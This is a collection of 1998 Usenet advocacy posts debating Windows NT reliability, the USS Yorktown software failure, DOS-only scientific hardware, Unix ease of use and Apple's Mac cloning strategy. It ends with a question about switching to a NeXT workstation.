References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com> <6v4cvb$n0u$1@eskinews.eskimo.com> <362d5e93.317525241@news3.newscene.com> <6v82ve$rce$2@news.idiom.com> <363cb0bf.404077472@news2.newscene.com>
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Just Me wrote:
>
> >-> What *I* do can't even be done on anything BUT Windows.
> >
> >How sad for you. Have you considered a change of jobs?
>
> No thanks. Even though I am really getting disgusted with Windows
> with having to reboot once or twice a day on average, I like my
> industry. Too bad they are standardizing on Windows NT. Eventually
> maybe the backlash that is sure to come will force M$ to come up with
> a stable product rather than continually adding new do-hickeys.
Seriously,just what industry (other than developing for Windows) can
require Windows?
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: 5 Oct 1998 09:16:56 GMT
Organization: Idiom Communications
Message-ID: <6va2q8$8be$2@news.idiom.com>
References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu>
<6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com>
<6v4cvb$n0u$1@eskinews.eskimo.com> <362d5e93.317525241@news3.newscene.com>
<6v82ve$rce$2@news.idiom.com> <363cb0bf.404077472@news2.newscene.com>
<36167501.2C23@southwind.net> <6v9vc8$sn1$1@nnrp1.dejanews.com>
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Cc: quinlan@intergate.bc.ca
quinlan@intergate.bc.ca may or may not have said:
-> In article <36167501.2C23@southwind.net>,
-> jmz@southwind.net wrote:
->
-> > Seriously,just what industry (other than developing for Windows) can
-> > require Windows?
->
-> There a lot of industries which depend on applications which are only
written
-> for windows. I gave environmental sensing as an example where you need
either
-> DOS or Windows.
I'm not sure what you mean by "environmental sensing", but any GPIB-based
sensors like temperature probes, pressure tranceducers, and chemical sniffers
can be driven by LabView on the Macintosh.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: hughesojh@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: ARGH]:
Date: Sun, 04 Oct 1998 19:46:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v8jb6$20e$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <6v41i3$4ga$1@nnrp1.dejanews.com> <6v4lie$heh$3@news.idiom.com>
Damn it, don't go ruining my poster with facts..
In article <6v4lie$heh$3@news.idiom.com>,
jcr.remove@this.phrase.idiom.com wrote:
> hughesojh@my-dejanews.com may or may not have said:
>
> -> Picture of the yorktown, dead in the water.
> ->
> -> "WINDOWS NT NEARLY SANK THIS SHIP. JUST IMAGINE WHAT IT COULD DO FOR YOUR
> -> BUSINESS".
>
> Uh, let's not exaggerate here. NT disabled the ship, but software failure
> can't punch a hole in the hull. The Yorktown was never in any danger of
> sinking, it just wasn't very useful.
>
> BTW, NT machines *don't* make good boat anchors. They're not heavy enough.
>
> -jcr
>
> --
>
> What the Bard *should* have said: "All the World's a Stage, and
> all the Men and Women rather poorly rehearsed."
>
>
-----------== Posted via Deja News, The Discussion Network ==----------
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From: hughesojh@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: ARGH]:
Date: Sun, 04 Oct 1998 20:01:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v8k6p$3c5$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <6v41i3$4ga$1@nnrp1.dejanews.com> <6v4lie$heh$3@news.idiom.com> <19981003200548859730@ts4-48.aug.com>
And may I say, that was a real impresive argument for an OS that disabled the
ship's engines because someone on the bridge tried to divide by zero in a
database package...
In article <19981003200548859730@ts4-48.aug.com>,
nojunkhattonr@aug.com (Rick) wrote:
> John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
>
> > -> "WINDOWS NT NEARLY SANK THIS SHIP. JUST IMAGINE WHAT IT COULD DO FOR YOUR
> > -> BUSINESS".
> >
> > Uh, let's not exaggerate here. NT disabled the ship, but software failure
> > can't punch a hole in the hull. The Yorktown was never in any danger of
> > sinking, it just wasn't very useful.
>
> A warship dead in the water is a warship asking to have a hole blown in
> it.
>
> --
> Remove nojunk from my email address to reply by email.
>
-----------== Posted via Deja News, The Discussion Network ==----------
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From: hughesojh@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Sun, 04 Oct 1998 20:11:57 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v8kqd$4cg$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvm <6v1ouq$cqb$1@supernews.com> <6v2mkm$4i1$1@jetsam.uits.indiana.edu> <6v57d4$icn$3@supernews.com>
./configure
make
=hard?
or better yet
rpm -i WHATEVER.rpm
?
Not hard.
Just requires thought, which may be the stumbling block for Windows users...
In article <6v57d4$icn$3@supernews.com>,
"Dan" <dan@knowspaam.com> wrote:
> Gregory Loren Hansen wrote in message
> <6v2mkm$4i1$1@jetsam.uits.indiana.edu>...
>
> >It seems to me that Unix command line shells are no harder to use than
> >DOS, as long as you only want to do the things that DOS does. You've got
> >ls compared to dir, cd compared to cd, cp compared to copy, cat compared
> >to type, find compared to... um...,
> >
> >DOS commands tend to be a little more "plain English" style. But I didn't
> >seem to have any problem remembering the Unix commands as I was learning
> >them.
>
> I'm mostly talking about things like installing software, etc.
>
> Dan
>
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: hughesojh@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Sun, 04 Oct 1998 20:09:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v8klj$426$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <3614FC12.5BE9@betabreakers.com> <6v57d5$icn$4@supernews.com>
No offense intended to Mac users, but that's who it's aimed at, so it's as
determinedly a non-technical **ix as you could hope for.
Very nice.
In article <6v57d5$icn$4@supernews.com>,
"Dan" <dan@knowspaam.com> wrote:
> Josiah Fizer wrote in message <3614FC12.5BE9@betabreakers.com>...
>
> >Linux is not what I would call a good Unix system. Try Irix, easy to use
> >and very powerfull. sun Solaris isn't bad but its more geared to
> >ubergeeks than normal people.
>
> I've allways wanted to try Irix... maybe in the future after SGI ports it to
> Merced (they claim that's there plan).
>
> How is it easier to use then most Unices?
>
> Dan
>
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: hughesojh@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Sun, 04 Oct 1998 20:13:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v8ktl$4cv$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <6v371u$59g$2@news.spacelab.net> <6v57d6$icn$5@supernews.com>
HAH HAH.
What the hell did you think everyone meant?
You is the cuss.
In article <6v57d6$icn$5@supernews.com>,
"Dan" <dan@knowspaam.com> wrote:
> Charles W. Swiger wrote in message <6v371u$59g$2@news.spacelab.net>...
>
> >>...what does piss me off is listening to all the NT complaints when I'm
> >>sitting here at a NT box that has not crashed or had a reinstall in over a
> >>year,
> >
> >I'm pretty sure I don't believe you. NT stable for over a year without
> rebooting?
>
> No no... I reboot. I just said it has not crashed in over a year, nor has NT
> been reinstalled in over a year.
>
> Dan
>
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: lekleber@columbus.rr.com (ALE)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Message-ID: <lekleber-0410981734320001@uar180003.columbus.rr.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <36074e77.39113826@news.alt.net> <3614C098.FE19CB7@nstar.net> <6v2m1s$6la@newsb.netnews.att.com> <6v3j9g$jna$1@nnrp1.dejanews.com>
Organization: ALE inc.
Date: Sun, 04 Oct 1998 17:34:32 -0500
NNTP-Posting-Date: Sun, 04 Oct 1998 17:29:14 EDT
In article <6v3j9g$jna$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
<In article <6v2m1s$6la@newsb.netnews.att.com>,
< gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
<
<> There are no objective advantages to running DOS on a 286 over running
<> say, MacOS on a G3 233 MHz...
<
<A very broad claim that is definately false. There are certain applications
<that a user may need that are available for a 286 that are not available for
<a G3. For example, I used to use a laser-based timing system that was
<connected to an ISA card. This special purpose hardware is available only for
<ISA and the software can only be run under DOS. Since that is the only
<hardware of it's kind on the market and a G3 cannot use it there is a big
<advantage to running DOS on a 286. And, since you used the word "no" at the
<beginning of your claim, a single example is all that is needed to make your
<claim false.
Well I've seen similar hardware to what your talking about and it was
connected to a PowerMac 5400. I have a hard time believeing that there is
no way to use a Mac with it. This aside, somehow I don't see the use of
one selection of hardware that only tiny fraction of people would ever
even consider useing, as being a *big advantage*. If this is the biggest
adventage DOS has, I have NOT A SINGLE REASON to use DOS.
--
If reading your own post makes you bored, don't post it.
From: raffael@mediaone.net (Raffael Cavallaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Microsoft's Unix
Date: Sun, 04 Oct 1998 19:43:16 -0400
Organization: MediaOne -=- Northeast Region
Message-ID: <raffael-0410981943470001@raffaele.ne.mediaone.net>
References: <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <142C07F2128CE5A4.1B3F01B357ED9113.80F002D81BB1BCCA@library-proxy.airnews.net> <6v5vin$dc2$1@juliana.sprynet.com> <3617B27A.7766F63D@net-link.net>
In article <3617B27A.7766F63D@net-link.net>, thatoneoldguy
<troll@net-link.net> wrote:
> As a newbie(relatively speaking) to computing and as a nonprofessional,
>I think a catchall comp.os.freeforall.advocacy NG would be a good thing.
>I originally thought advocacy meant advocacy in the traditional sense of
>the word, but advocacy that isolates itself from the competition(such as
>it is)isn't advocacy, it's preaching to the choir.
One reason that separate OS advocacy groups exist is to prevent non-stop
flame wars between the advocates of different OSs. As it is, we get a fair
amount of this anyway (check out comp.sys.mac.advocacy for example) If you
were to propose such a group, a more realistic name might be
alt.os.flamewar. (Compare the existing newsgroup alt.flame.macintosh)
Raf
--
Raffael Cavallaro
From: id_est@interport.net (tse_di)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: ARGH]:
Date: Sun, 04 Oct 1998 20:45:32 -0400
Organization: none
Message-ID: <id_est-0410982045330001@192.168.1.10>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <6v41i3$4ga$1@nnrp1.dejanews.com> <6v4lie$heh$3@news.idiom.com> <19981003200548859730@ts4-48.aug.com>
In article <19981003200548859730@ts4-48.aug.com>, nojunkhattonr@aug.com
(Rick) wrote:
> John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
>
> > -> "WINDOWS NT NEARLY SANK THIS SHIP. JUST IMAGINE WHAT IT COULD DO FOR YOUR
> > -> BUSINESS".
> >
> > Uh, let's not exaggerate here. NT disabled the ship, but software failure
> > can't punch a hole in the hull. The Yorktown was never in any danger of
> > sinking, it just wasn't very useful.
>
> A warship dead in the water is a warship asking to have a hole blown in
> it.
I am not here to defend NT but this incident should have a little
perspective. The ship was *experimental*!. Unless one is absolutely
desperate (Germany in 1945 for example). You don't send experimental
weapons systems into harms way for exactly this reason. The fact that the
system failed is actually pretty common among experimental systems. That's
what the experimentation is for.
From: quinlan@intergate.bc.ca
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sun, 04 Oct 1998 23:00:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v8un6$jog$1@nnrp1.dejanews.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <3614C098.FE19CB7@nstar.net> <6v2m1s$6la@newsb.netnews.att.com> <6v3j9g$jna$1@nnrp1.dejanews.com> <6v6g9b$bub@newsb.netnews.att.com>
In article <6v6g9b$bub@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> You may be right. On the other hand, getting basic stuff that works in
> 386 machines is hard. And if your laser-based timing system is no longer
> available in any form, one wonders how useful it is.
It's still available. I just moved on to a different job that doesn't use that
kind of timing systems. Now I work in the environmental sensing industry. And
that brings up another example: to the best of my knowlege, there is only one
company that ships Mac OS data acquisition software with their environmental
sensing hardware*. The company that I work for makes Windows 3.1 and Windows
9x/NT versions of it's software**. Many companies have DOS versions of their
software. Some only have DOS versions of their software. For some engineering
applications, a 286 will serve you better than any Mac. Of course, for the
average user, a G3 is a much better computer than a 286.
* The software it ships with is called BoxCar Pro and it isn't specific to the
environmental sensing domain. All it can do is graph the data (without units,
titles, axis headings, etc.) and export it.
** Actually, to accomodate a customer who uses a Mac, I modified some of our
serial code so it would work with Soft Windows.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Mon, 5 Oct 1998 04:29:09 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6vaaqn$h6l$5@supernews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <6v371u$59g$2@news.spacelab.net> <6v57d6$icn$5@supernews.com> <6v8ktl$4cv$1@nnrp1.dejanews.com>
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charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
hughesojh@my-dejanews.com wrote in message
<6v8ktl$4cv$1@nnrp1.dejanews.com>...
>HAH HAH.
>
>What the hell did you think everyone meant?
???
>You is the cuss.
>
>In article <6v57d6$icn$5@supernews.com>,
> "Dan" <dan@knowspaam.com> wrote:
>> Charles W. Swiger wrote in message <6v371u$59g$2@news.spacelab.net>...
>>
>> >>...what does piss me off is listening to all the NT complaints when I'm
>> >>sitting here at a NT box that has not crashed or had a reinstall in
over a
>> >>year,
>> >
>> >I'm pretty sure I don't believe you. NT stable for over a year without
>> rebooting?
>>
>> No no... I reboot. I just said it has not crashed in over a year, nor has
NT
>> been reinstalled in over a year.
>>
>> Dan
>>
>>
>
>-----------== Posted via Deja News, The Discussion Network ==----------
>http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: brlewis@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Mon, 05 Oct 1998 13:13:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vagmn$ftj$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com>
In article <6v1ouq$cqb$1@supernews.com>,
"Dan" <dan@knowspaam.com> wrote:
> ...a few months later, after hours and hours of banging my head against the
> wall trying to get it to work properly, reinstalling endlessly to get Linux
> back to a working state because it was easier then trying to find someone to
> help me fix a problem (which could take days, weeks, even months), etc.,
> etc., etc... I gave up (something I should have done months earlier and
> saved me time).
The four questions of yours that I found through dejanews were all answered
the same day. What problem could you not get help with?
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: jmz@southwind.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Sat, 03 Oct 1998 11:03:56 +0000
Organization: None
Message-ID: <3616049A.6DA9@southwind.net>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu> <01bdef38$8ec16d10$06387880@chewy>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Todd Heberlein (todd at NetSQ dot com) wrote:
>
> Eric Bennett <ericb@pobox.com> wrote
> > So when a company gets a new CEO, it can completely
> > disregard all the commitments it previously made to
> > its customers?
>
> I am afraid it happens all the time. Heck, you don't even need a
> change in leadership for it to happen, but it probably is more frequent
> then.
>
> Think of all the stated or implied promises for Newton
> owners/developers, OpenDoc developers, employees who lost their jobs.
> Remember Apple's on-line service? The Apple III? How often was
> Copland delayed before being killed? Remember Taligent?
>
> How many times have Microsoft announced a product, freezing consumers
> from buying currently available products from competitors, and then
> delivering years late or maybe never? What happened to all those
> customers who bought NT for their PowerPC or MIPS computer?
>
> I have worked on several projects where we were expecting delivery of a
> core component from another company or adoption of "the emerging
> standard" by others only to scramble when it didn't happen.
>
> I am not saying it is right. I am only saying thats life.
I'm saying that not only isn't it right,it is not acceptable.Companies
who do it should be subject to the wrath of their customer base,who
unfortunately are usually too in love with convenience and continuity to
take their business elsewhere.Apple and Microsoft are both guilty as
snot,and if the customer had any sense he'd be thinking in terms of not
allowing himself to be dependent on either one.
I grew up knowing a family who drove nothing but Chrysler cars.When
each year's new models came out we'd hear a bitchfest on how the company
was going to hell and the new models were impossible to work on (which
was irrelevant as they traded them in before major maintenance was
needed).One time,being just a kid,I asked why they didn't buy a
different car instead.
The father then got up,told me they were a Chrysler family,and said I
would "have to be asked to leave" if I asked that kind of question
again.Having heard that once before from the old guy (on a seemingly
more justifiable note:I asked his teenage daughter if she used tampons
or pads...hey,I was like eight years old...)I politely left.
The father was killed flying a Bonanza shortly after that and the
daughter narrowly escaped jail in an insider trading deal in the late
eighties.But every time I hear loyalty to either Microsoft or Apple from
the user base,I think of that family.
Message-ID: <3617CDBF.E5817D05@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net> <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com> <3616b0bf.0@news.depaul.edu> <3616C5C2.5354F82@nstar.net> <6v8fbt$8lt@news1.panix.com>
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NNTP-Posting-Date: Sun, 04 Oct 1998 15:35:24 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 04 Oct 1998 14:34:23 -0500
Sal Denaro wrote:
> _All_ of those points also apply to outsourcing.
I disagree.
> There are four things that
> OEM would provide that licensing would not
>
> 1) Preserve Apple's margins, and the margins of Apple resellers.
Apple's margins would go up, not down, if it were collecting a license
fee for machines sold. The only requirement is that (license fee * all
machines sold) is higher than (gross margin * all Apple machines sold).
If Apple were serious about
1) Providing innovation
2) Helping partners to expand the market by actually shipping a new
operating system
these would be ludicrously easy goals to meet. Naturally, one notices
that the entire plan hinges on *software*, not hardware. Curious, no?
Either Apple can deliver software and should expand the market for that
software, or Apple cannot deliver software, and should begin shipping
Solaris or Windows NT on Apple-branded hardware. It cannot do both, no
matter how many more companies it buys, no matter how many manufacturers
it uses to outsource trendy consumer machines.
> 2) Preserve the value of the Apple brand keeping Apple from being a
> "Me to" product.
If Apple can become a "Me too" product in the general pool of
competition, there is absolutely nothing to recommend Apple in the first
place. Go buy a PC.
If, on the other hand, Apple has something (ostensibly an innovative
will) that differentiates its product, there is no reason to worry that
Apple's lineup will become "Me too" products.
Personally, I think you have reason to worry, and reason to go buy a PC.
But I'm trying to argue within the notions of present company.
> 3) Increase Apple's market share, rather than the "Mac" market share or
> PowerPC market share.
Increasing "Mac" or "PowerPC" market share has more collateral benefits
than increasing Apple's market share. Regardless, increasing either of
the former two will increase Apple's market share in software.
I'm not a stockholder (as you are; been a rocky month, eh?), so I'm
thinking more about the platform. I understand your bias in favor of the
company itself, but it's really not germane to this conversation.
I guess it depends on how you approach the issue. Some people say
"What's good for Apple is what's good for the platform", and this is how
they justify looking toward Apple's interests before looking toward the
customers' interests, the platform's interests, etc.
Others say "What's good for the Macintosh is what's good for Apple". I
suppose I would fall into this camp, having watched Apple destroy itself
by neglecting the Macintosh platform, not the other way around
(obviously, Apple hasn't been neglecting its CEOs' bank accounts).
> 4) Prevent "model proliferation" from increasing QA costs (As cloners
> begin to use other parts to cut costs)
Build the QA costs into the license fee. Component manufacturers would
have to be certified separately, anyway, so only certified parts would
make it to the QA table. This is a non-issue.
> Apple has plenty of competition as it is, it doesn't need to create new
> competition for itself.
What Apple needs is new competition that's on its team. It's already got
a whole world of competition that isn't. Some of us call the first kind
of competition "partners".
But of course we both know that Apple has always been afraid of
partners, because if you're not careful, partners can become masters,
and Apple has always had an inferiority complex. Did you ever wonder why
the original cloners were virtual nobodies in the PC business?
PowerComputing was a brand-new company, and UMAX had never sold PCs
before. Tatung, Vertegri, all of these were newbies to the business,
with no track records. And there weren't even very many of them. Why
would Apple choose these to help it build a new MacOS enterprise,
instead of companies like Gateway and Compaq (who had made overtures to
Apple in previous years)?
The obvious answer is that Apple was scared of big names, and decided to
pick weak partners who would satisfy the hue and cry from stockholders
for cloning without actually forcing Apple to be competitive. What is so
stunning about this scenario is that these frail competitors actually
drove Apple to the brink of bankruptcy, taking as much as 30% of Apple's
core market of "98% loyal" customers.
Given the example of the last cloning situation, it's not difficult to
be cynical. But I wanted to give the discussion one more shot, in light
of the iMac's success. So far I'm getting exactly what I expected.
MJP
From: hughesojh@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: NeXT as work system questions.
Date: Sun, 04 Oct 1998 20:56:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v8nd5$8qh$1@nnrp1.dejanews.com>
Right.
Basically every time I use a Windows box I want to throw it out the window.
I would buy a mac, but there is a fair bit of Unixy stuff I want to do, and I
can't afford a G3 to run Rhapsody on.
NeXT looks like a fast, stable Unix based OS with a decent GUI running on top
of it.
I've had a look at FAQ's and so on, and I have pretty much decided on a Color
Turbo Slab.
I have a few questions though.
How good is the Lighthouse suite of Apps?
I need to be able to include JSP type diagrams (which I'd be doing using the
drawing package it comes with) in reports. Lighthouse can do this?
Can lighthouse flow text around pictures? Can I use it to put text in a frame?
If someone could help me with these questions, I'd be a lot more happy over
removing PC from desk and switching to NeXT.
